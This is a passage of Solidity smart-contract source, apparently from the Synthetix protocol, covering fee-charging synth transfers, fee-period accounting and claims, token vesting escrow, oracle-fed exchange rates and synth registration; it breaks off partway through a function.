function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data)
internal
returns (bool)
{
tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value));
return _internalTransfer(from, to, value, data);
}
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
contract Synth is ExternStateToken {
FeePool public feePool;
Synthetix public synthetix;
bytes4 public currencyKey;
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, FeePool _feePool,
string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey
)
ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner)
public
{
require(_proxy != 0, "_proxy cannot be 0");
require(address(_synthetix) != 0, "_synthetix cannot be 0");
require(address(_feePool) != 0, "_feePool cannot be 0");
require(_owner != 0, "_owner cannot be 0");
require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use");
feePool = _feePool;
synthetix = _synthetix;
currencyKey = _currencyKey;
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function setFeePool(FeePool _feePool)
external
optionalProxy_onlyOwner
{
feePool = _feePool;
emitFeePoolUpdated(_feePool);
}
function transfer(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, amountReceived, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, amountReceived, data);
}
function transferFrom(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, amountReceived, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, amountReceived, data);
}
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, value, empty);
}
function transferSenderPaysFee(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, value, data);
}
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, value, empty);
}
function transferFromSenderPaysFee(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, value, data);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to);
if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) {
return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to);
} else {
return super._internalTransfer(from, to, value, data);
}
}
function issue(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount));
totalSupply = totalSupply.add(amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
function burn(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount));
totalSupply = totalSupply.sub(amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount)
external
onlySynthetixOrFeePool
{
bytes memory empty;
callTokenFallbackIfNeeded(sender, recipient, amount, empty);
}
modifier onlySynthetixOrFeePool() {
bool isSynthetix = msg.sender == address(synthetix);
bool isFeePool = msg.sender == address(feePool);
require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address");
_;
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
event FeePoolUpdated(address newFeePool);
bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)");
function emitFeePoolUpdated(address newFeePool) internal {
proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0);
}
event Issued(address indexed account, uint value);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint value);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0);
}
}
contract FeePool is Proxyable, SelfDestructible {
using SafeMath for uint;
using SafeDecimalMath for uint;
Synthetix public synthetix;
uint public transferFeeRate;
uint constant public MAX_TRANSFER_FEE_RATE = SafeDecimalMath.unit() / 10;
uint public exchangeFeeRate;
uint constant public MAX_EXCHANGE_FEE_RATE = SafeDecimalMath.unit() / 10;
address public feeAuthority;
address public constant FEE_ADDRESS = 0xfeEFEEfeefEeFeefEEFEEfEeFeefEEFeeFEEFEeF;
struct FeePeriod {
uint feePeriodId;
uint startingDebtIndex;
uint startTime;
uint feesToDistribute;
uint feesClaimed;
}
uint8 constant public FEE_PERIOD_LENGTH = 6;
FeePeriod[FEE_PERIOD_LENGTH] public recentFeePeriods;
uint public nextFeePeriodId;
uint public feePeriodDuration = 1 weeks;
uint public constant MIN_FEE_PERIOD_DURATION = 1 days;
uint public constant MAX_FEE_PERIOD_DURATION = 60 days;
mapping(address => uint) public lastFeeWithdrawal;
uint constant TWENTY_PERCENT = (20 * SafeDecimalMath.unit()) / 100;
uint constant TWENTY_FIVE_PERCENT = (25 * SafeDecimalMath.unit()) / 100;
uint constant THIRTY_PERCENT = (30 * SafeDecimalMath.unit()) / 100;
uint constant FOURTY_PERCENT = (40 * SafeDecimalMath.unit()) / 100;
uint constant FIFTY_PERCENT = (50 * SafeDecimalMath.unit()) / 100;
uint constant SEVENTY_FIVE_PERCENT = (75 * SafeDecimalMath.unit()) / 100;
constructor(address _proxy, address _owner, Synthetix _synthetix, address _feeAuthority, uint _transferFeeRate, uint _exchangeFeeRate)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate");
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Constructed exchange fee rate should respect the maximum fee rate");
synthetix = _synthetix;
feeAuthority = _feeAuthority;
transferFeeRate = _transferFeeRate;
exchangeFeeRate = _exchangeFeeRate;
recentFeePeriods[0].feePeriodId = 1;
recentFeePeriods[0].startTime = now;
nextFeePeriodId = 2;
}
function setExchangeFeeRate(uint _exchangeFeeRate)
external
optionalProxy_onlyOwner
{
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Exchange fee rate must be below MAX_EXCHANGE_FEE_RATE");
exchangeFeeRate = _exchangeFeeRate;
emitExchangeFeeUpdated(_exchangeFeeRate);
}
function setTransferFeeRate(uint _transferFeeRate)
external
optionalProxy_onlyOwner
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE");
transferFeeRate = _transferFeeRate;
emitTransferFeeUpdated(_transferFeeRate);
}
function setFeeAuthority(address _feeAuthority)
external
optionalProxy_onlyOwner
{
feeAuthority = _feeAuthority;
emitFeeAuthorityUpdated(_feeAuthority);
}
function setFeePeriodDuration(uint _feePeriodDuration)
external
optionalProxy_onlyOwner
{
require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, "New fee period cannot be less than minimum fee period duration");
require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, "New fee period cannot be greater than maximum fee period duration");
feePeriodDuration = _feePeriodDuration;
emitFeePeriodDurationUpdated(_feePeriodDuration);
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
require(address(_synthetix) != address(0), "New Synthetix must be non-zero");
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function feePaid(bytes4 currencyKey, uint amount)
external
onlySynthetix
{
uint xdrAmount = synthetix.effectiveValue(currencyKey, amount, "XDR");
recentFeePeriods[0].feesToDistribute = recentFeePeriods[0].feesToDistribute.add(xdrAmount);
}
function closeCurrentFeePeriod()
external
onlyFeeAuthority
{
require(recentFeePeriods[0].startTime <= (now - feePeriodDuration), "It is too early to close the current fee period");
FeePeriod memory secondLastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 2];
FeePeriod memory lastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 1];
recentFeePeriods[FEE_PERIOD_LENGTH - 2].feesToDistribute = lastFeePeriod.feesToDistribute
.sub(lastFeePeriod.feesClaimed)
.add(secondLastFeePeriod.feesToDistribute);
for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) {
uint next = i + 1;
recentFeePeriods[next].feePeriodId = recentFeePeriods[i].feePeriodId;
recentFeePeriods[next].startingDebtIndex = recentFeePeriods[i].startingDebtIndex;
recentFeePeriods[next].startTime = recentFeePeriods[i].startTime;
recentFeePeriods[next].feesToDistribute = recentFeePeriods[i].feesToDistribute;
recentFeePeriods[next].feesClaimed = recentFeePeriods[i].feesClaimed;
}
delete recentFeePeriods[0];
recentFeePeriods[0].feePeriodId = nextFeePeriodId;
recentFeePeriods[0].startingDebtIndex = synthetix.synthetixState().debtLedgerLength();
recentFeePeriods[0].startTime = now;
nextFeePeriodId = nextFeePeriodId.add(1);
emitFeePeriodClosed(recentFeePeriods[1].feePeriodId);
}
function claimFees(bytes4 currencyKey)
external
optionalProxy
returns (bool)
{
uint availableFees = feesAvailable(messageSender, "XDR");
require(availableFees > 0, "No fees available for period, or fees already claimed");
lastFeeWithdrawal[messageSender] = recentFeePeriods[1].feePeriodId;
_recordFeePayment(availableFees);
_payFees(messageSender, availableFees, currencyKey);
emitFeesClaimed(messageSender, availableFees);
return true;
}
function _recordFeePayment(uint xdrAmount)
internal
{
uint remainingToAllocate = xdrAmount;
for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) {
uint delta = recentFeePeriods[i].feesToDistribute.sub(recentFeePeriods[i].feesClaimed);
if (delta > 0) {
uint amountInPeriod = delta < remainingToAllocate ? delta : remainingToAllocate;
recentFeePeriods[i].feesClaimed = recentFeePeriods[i].feesClaimed.add(amountInPeriod);
remainingToAllocate = remainingToAllocate.sub(amountInPeriod);
if (remainingToAllocate == 0) return;
}
}
assert(remainingToAllocate == 0);
}
function _payFees(address account, uint xdrAmount, bytes4 destinationCurrencyKey)
internal
notFeeAddress(account)
{
require(account != address(0), "Account can't be 0");
require(account != address(this), "Can't send fees to fee pool");
require(account != address(proxy), "Can't send fees to proxy");
require(account != address(synthetix), "Can't send fees to synthetix");
Synth xdrSynth = synthetix.synths("XDR");
Synth destinationSynth = synthetix.synths(destinationCurrencyKey);
xdrSynth.burn(FEE_ADDRESS, xdrAmount);
uint destinationAmount = synthetix.effectiveValue("XDR", xdrAmount, destinationCurrencyKey);
destinationSynth.issue(account, destinationAmount);
destinationSynth.triggerTokenFallbackIfNeeded(FEE_ADDRESS, account, destinationAmount);
}
function transferFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(transferFeeRate);
}
function transferredAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(transferFeeIncurred(value));
}
function amountReceivedFromTransfer(uint value)
external
view
returns (uint)
{
return value.divideDecimal(transferFeeRate.add(SafeDecimalMath.unit()));
}
function exchangeFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(exchangeFeeRate);
}
function exchangedAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(exchangeFeeIncurred(value));
}
function amountReceivedFromExchange(uint value)
external
view
returns (uint)
{
return value.divideDecimal(exchangeFeeRate.add(SafeDecimalMath.unit()));
}
function totalFeesAvailable(bytes4 currencyKey)
external
view
returns (uint)
{
uint totalFees = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(recentFeePeriods[i].feesToDistribute);
totalFees = totalFees.sub(recentFeePeriods[i].feesClaimed);
}
return synthetix.effectiveValue("XDR", totalFees, currencyKey);
}
function feesAvailable(address account, bytes4 currencyKey)
public
view
returns (uint)
{
uint[FEE_PERIOD_LENGTH] memory userFees = feesByPeriod(account);
uint totalFees = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(userFees[i]);
}
return synthetix.effectiveValue("XDR", totalFees, currencyKey);
}
function currentPenalty(address account)
public
view
returns (uint)
{
uint ratio = synthetix.collateralisationRatio(account);
if (ratio <= TWENTY_PERCENT) {
return 0;
} else if (ratio > TWENTY_PERCENT && ratio <= THIRTY_PERCENT) {
return TWENTY_FIVE_PERCENT;
} else if (ratio > THIRTY_PERCENT && ratio <= FOURTY_PERCENT) {
return FIFTY_PERCENT;
}
return SEVENTY_FIVE_PERCENT;
}
function feesByPeriod(address account)
public
view
returns (uint[FEE_PERIOD_LENGTH])
{
uint[FEE_PERIOD_LENGTH] memory result;
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetix.synthetixState().issuanceData(account);
if (initialDebtOwnership == 0) return result;
uint totalSynths = synthetix.totalIssuedSynths("XDR");
if (totalSynths == 0) return result;
uint debtBalance = synthetix.debtBalanceOf(account, "XDR");
uint userOwnershipPercentage = debtBalance.divideDecimal(totalSynths);
uint penalty = currentPenalty(account);
for (uint i = 0; i < FEE_PERIOD_LENGTH; i++) {
if (recentFeePeriods[i].startingDebtIndex > debtEntryIndex &&
lastFeeWithdrawal[account] < recentFeePeriods[i].feePeriodId) {
uint feesFromPeriodWithoutPenalty = recentFeePeriods[i].feesToDistribute
.multiplyDecimal(userOwnershipPercentage);
uint penaltyFromPeriod = feesFromPeriodWithoutPenalty.multiplyDecimal(penalty);
uint feesFromPeriod = feesFromPeriodWithoutPenalty.sub(penaltyFromPeriod);
result[i] = feesFromPeriod;
}
}
return result;
}
modifier onlyFeeAuthority
{
require(msg.sender == feeAuthority, "Only the fee authority can perform this action");
_;
}
modifier onlySynthetix
{
require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != FEE_ADDRESS, "Fee address not allowed");
_;
}
event TransferFeeUpdated(uint newFeeRate);
bytes32 constant TRANSFERFEEUPDATED_SIG = keccak256("TransferFeeUpdated(uint256)");
function emitTransferFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEEUPDATED_SIG, 0, 0, 0);
}
event ExchangeFeeUpdated(uint newFeeRate);
bytes32 constant EXCHANGEFEEUPDATED_SIG = keccak256("ExchangeFeeUpdated(uint256)");
function emitExchangeFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, EXCHANGEFEEUPDATED_SIG, 0, 0, 0);
}
event FeePeriodDurationUpdated(uint newFeePeriodDuration);
bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)");
function emitFeePeriodDurationUpdated(uint newFeePeriodDuration) internal {
proxy._emit(abi.encode(newFeePeriodDuration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0);
}
event FeeAuthorityUpdated(address newFeeAuthority);
bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)");
function emitFeeAuthorityUpdated(address newFeeAuthority) internal {
proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0);
}
event FeePeriodClosed(uint feePeriodId);
bytes32 constant FEEPERIODCLOSED_SIG = keccak256("FeePeriodClosed(uint256)");
function emitFeePeriodClosed(uint feePeriodId) internal {
proxy._emit(abi.encode(feePeriodId), 1, FEEPERIODCLOSED_SIG, 0, 0, 0);
}
event FeesClaimed(address account, uint xdrAmount);
bytes32 constant FEESCLAIMED_SIG = keccak256("FeesClaimed(address,uint256)");
function emitFeesClaimed(address account, uint xdrAmount) internal {
proxy._emit(abi.encode(account, xdrAmount), 1, FEESCLAIMED_SIG, 0, 0, 0);
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
}
contract LimitedSetup {
uint setupExpiryTime;
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime, "Can only perform this action during setup");
_;
}
}
contract SynthetixEscrow is Owned, LimitedSetup(8 weeks) {
using SafeMath for uint;
Synthetix public synthetix;
mapping(address => uint[2][]) public vestingSchedules;
mapping(address => uint) public totalVestedAccountBalance;
uint public totalVestedBalance;
uint constant TIME_INDEX = 0;
uint constant QUANTITY_INDEX = 1;
uint constant MAX_VESTING_ENTRIES = 20;
constructor(address _owner, Synthetix _synthetix)
Owned(_owner)
public
{
synthetix = _synthetix;
}
function setSynthetix(Synthetix _synthetix)
external
onlyOwner
{
synthetix = _synthetix;
emit SynthetixUpdated(_synthetix);
}
function balanceOf(address account)
public
view
returns (uint)
{
return totalVestedAccountBalance[account];
}
function numVestingEntries(address account)
public
view
returns (uint)
{
return vestingSchedules[account].length;
}
function getVestingScheduleEntry(address account, uint index)
public
view
returns (uint[2])
{
return vestingSchedules[account][index];
}
function getVestingTime(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[TIME_INDEX];
}
function getVestingQuantity(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[QUANTITY_INDEX];
}
function getNextVestingIndex(address account)
public
view
returns (uint)
{
uint len = numVestingEntries(account);
for (uint i = 0; i < len; i++) {
if (getVestingTime(account, i) != 0) {
return i;
}
}
return len;
}
function getNextVestingEntry(address account)
public
view
returns (uint[2])
{
uint index = getNextVestingIndex(account);
if (index == numVestingEntries(account)) {
return [uint(0), 0];
}
return getVestingScheduleEntry(account, index);
}
function getNextVestingTime(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[TIME_INDEX];
}
function getNextVestingQuantity(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[QUANTITY_INDEX];
}
function withdrawSynthetix(uint quantity)
external
onlyOwner
onlyDuringSetup
{
synthetix.transfer(synthetix, quantity);
}
function purgeAccount(address account)
external
onlyOwner
onlyDuringSetup
{
delete vestingSchedules[account];
totalVestedBalance = totalVestedBalance.sub(totalVestedAccountBalance[account]);
delete totalVestedAccountBalance[account];
}
function appendVestingEntry(address account, uint time, uint quantity)
public
onlyOwner
onlyDuringSetup
{
require(now < time, "Time must be in the future");
require(quantity != 0, "Quantity cannot be zero");
totalVestedBalance = totalVestedBalance.add(quantity);
require(totalVestedBalance <= synthetix.balanceOf(this), "Must be enough balance in the contract to provide for the vesting entry");
uint scheduleLength = vestingSchedules[account].length;
require(scheduleLength <= MAX_VESTING_ENTRIES, "Vesting schedule is too long");
if (scheduleLength == 0) {
totalVestedAccountBalance[account] = quantity;
} else {
require(getVestingTime(account, numVestingEntries(account) - 1) < time, "Cannot add new vested entries earlier than the last one");
totalVestedAccountBalance[account] = totalVestedAccountBalance[account].add(quantity);
}
vestingSchedules[account].push([time, quantity]);
}
function addVestingSchedule(address account, uint[] times, uint[] quantities)
external
onlyOwner
onlyDuringSetup
{
for (uint i = 0; i < times.length; i++) {
appendVestingEntry(account, times[i], quantities[i]);
}
}
function vest()
external
{
uint numEntries = numVestingEntries(msg.sender);
uint total;
for (uint i = 0; i < numEntries; i++) {
uint time = getVestingTime(msg.sender, i);
if (time > now) {
break;
}
uint qty = getVestingQuantity(msg.sender, i);
if (qty == 0) {
continue;
}
vestingSchedules[msg.sender][i] = [0, 0];
total = total.add(qty);
}
if (total != 0) {
totalVestedBalance = totalVestedBalance.sub(total);
totalVestedAccountBalance[msg.sender] = totalVestedAccountBalance[msg.sender].sub(total);
synthetix.transfer(msg.sender, total);
emit Vested(msg.sender, now, total);
}
}
event SynthetixUpdated(address newSynthetix);
event Vested(address indexed beneficiary, uint time, uint value);
}
contract ExchangeRates is SelfDestructible {
using SafeMath for uint;
mapping(bytes4 => uint) public rates;
mapping(bytes4 => uint) public lastRateUpdateTimes;
address public oracle;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
uint public rateStalePeriod = 3 hours;
bytes4[5] public xdrParticipants;
constructor(
address _owner,
address _oracle,
bytes4[] _currencyKeys,
uint[] _newRates
)
SelfDestructible(_owner)
public
{
require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match.");
oracle = _oracle;
rates["sUSD"] = SafeDecimalMath.unit();
lastRateUpdateTimes["sUSD"] = now;
xdrParticipants = [
bytes4("sUSD"),
bytes4("sAUD"),
bytes4("sCHF"),
bytes4("sEUR"),
bytes4("sGBP")
];
internalUpdateRates(_currencyKeys, _newRates, now);
}
function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
external
onlyOracle
returns(bool)
{
return internalUpdateRates(currencyKeys, newRates, timeSent);
}
function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
internal
returns(bool)
{
require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length.");
require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future");
for (uint i = 0; i < currencyKeys.length; i++) {
require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead.");
require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT.");
if (timeSent >= lastRateUpdateTimes[currencyKeys[i]]) {
rates[currencyKeys[i]] = newRates[i];
lastRateUpdateTimes[currencyKeys[i]] = timeSent;
}
}
emit RatesUpdated(currencyKeys, newRates);
updateXDRRate(timeSent);
return true;
}
function updateXDRRate(uint timeSent)
internal
{
uint total = 0;
for (uint i = 0; i < xdrParticipants.length; i++) {
total = rates[xdrParticipants[i]].add(total);
}
rates["XDR"] = total;
lastRateUpdateTimes["XDR"] = timeSent;
bytes4[] memory eventCurrencyCode = new bytes4[](1);
eventCurrencyCode[0] = "XDR";
uint[] memory eventRate = new uint[](1);
eventRate[0] = rates["XDR"];
emit RatesUpdated(eventCurrencyCode, eventRate);
}
function deleteRate(bytes4 currencyKey)
external
onlyOracle
{
require(rates[currencyKey] > 0, "Rate is zero");
delete rates[currencyKey];
delete lastRateUpdateTimes[currencyKey];
emit RateDeleted(currencyKey);
}
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
function setRateStalePeriod(uint _time)
external
onlyOwner
{
rateStalePeriod = _time;
emit RateStalePeriodUpdated(rateStalePeriod);
}
function rateForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return rates[currencyKey];
}
function ratesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory _rates = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
_rates[i] = rates[currencyKeys[i]];
}
return _rates;
}
function lastRateUpdateTimeForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return lastRateUpdateTimes[currencyKey];
}
function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory lastUpdateTimes = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]];
}
return lastUpdateTimes;
}
function rateIsStale(bytes4 currencyKey)
external
view
returns (bool)
{
if (currencyKey == "sUSD") return false;
return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now;
}
function anyRateIsStale(bytes4[] currencyKeys)
external
view
returns (bool)
{
uint256 i = 0;
while (i < currencyKeys.length) {
if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) {
return true;
}
i += 1;
}
return false;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Only the oracle can perform this action");
_;
}
event OracleUpdated(address newOracle);
event RateStalePeriodUpdated(uint rateStalePeriod);
event RatesUpdated(bytes4[] currencyKeys, uint[] newRates);
event RateDeleted(bytes4 currencyKey);
}
contract Synthetix is ExternStateToken {
Synth[] public availableSynths;
mapping(bytes4 => Synth) public synths;
FeePool public feePool;
SynthetixEscrow public escrow;
ExchangeRates public exchangeRates;
SynthetixState public synthetixState;
uint constant SYNTHETIX_SUPPLY = 1e8 * SafeDecimalMath.unit();
string constant TOKEN_NAME = "Synthetix Network Token";
string constant TOKEN_SYMBOL = "SNX";
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState,
address _owner, ExchangeRates _exchangeRates, FeePool _feePool
)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, SYNTHETIX_SUPPLY, DECIMALS, _owner)
public
{
synthetixState = _synthetixState;
exchangeRates = _exchangeRates;
feePool = _feePool;
}
function addSynth(Synth synth)
external
optionalProxy_onlyOwner
{
bytes4 currencyKey = synth.currencyKey();
require(synths[currencyKey] == Synth(0), "Synth already exists");
availableSynths.push(synth);
synths[currencyKey] = synth;
emitSynthAdded(currencyKey, synth);
}
function removeSynth(bytes4 currencyKey)
external
optionalProxy_onlyOwner
{
require(synths[currencyKey] != address(0), "Synth does not exist");
require(synths[currencyKey].totalSupply() == 0, "Synth supply exists");
require(currencyKey != "XDR", "Cannot remove XDR synth");
address synthToRemove = synths[currencyKey];
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == synthToRemove) {
delete availableSynths[i];
availableSynths[i] = availableSynths[availableSynths.length - 1];
availableSynths.length--;
break;
}
}
delete synths[currencyKey];
emitSynthRemoved(currencyKey, synthToRemove);
}
function setEscrow(SynthetixEscrow _escrow)
external
optionalProxy_onlyOwner
{
escrow = _escrow;
}
function setExchangeRates(ExchangeRates _exchangeRates)
external
optionalProxy_onlyOwner
{
exchangeRates = _exchangeRates;
}
function setSynthetixState(SynthetixState _synthetixState)
external
optionalProxy_onlyOwner
{
synthetixState = _synthetixState;
emitStateContractChanged(_synthetixState);
}
function setPreferredCurrency(bytes4 currencyKey)
external
optionalProxy
{
require(currencyKey == 0 || !exchangeRates.rateIsStale(currencyKey), "Currency rate is stale or doesn't exist.");
synthetixState.setPreferredCurrency(messageSender, currencyKey);
emitPreferredCurrencyChanged(messageSender, currencyKey);
}
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
rateNotStale(sourceCurrencyKey)
rateNotStale(destinationCurrencyKey)
returns (uint)
{
if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;
return sourceAmount.multiplyDecimalRound(exchangeRates.rateForCurrency(sourceCurrencyKey))
.divideDecimalRound(exchangeRates.rateForCurrency(destinationCurrencyKey));
}
function totalIssuedSynths(bytes4 currencyKey)
public
view
rateNotStale(currencyKey)
returns (uint)
{
uint total = 0;
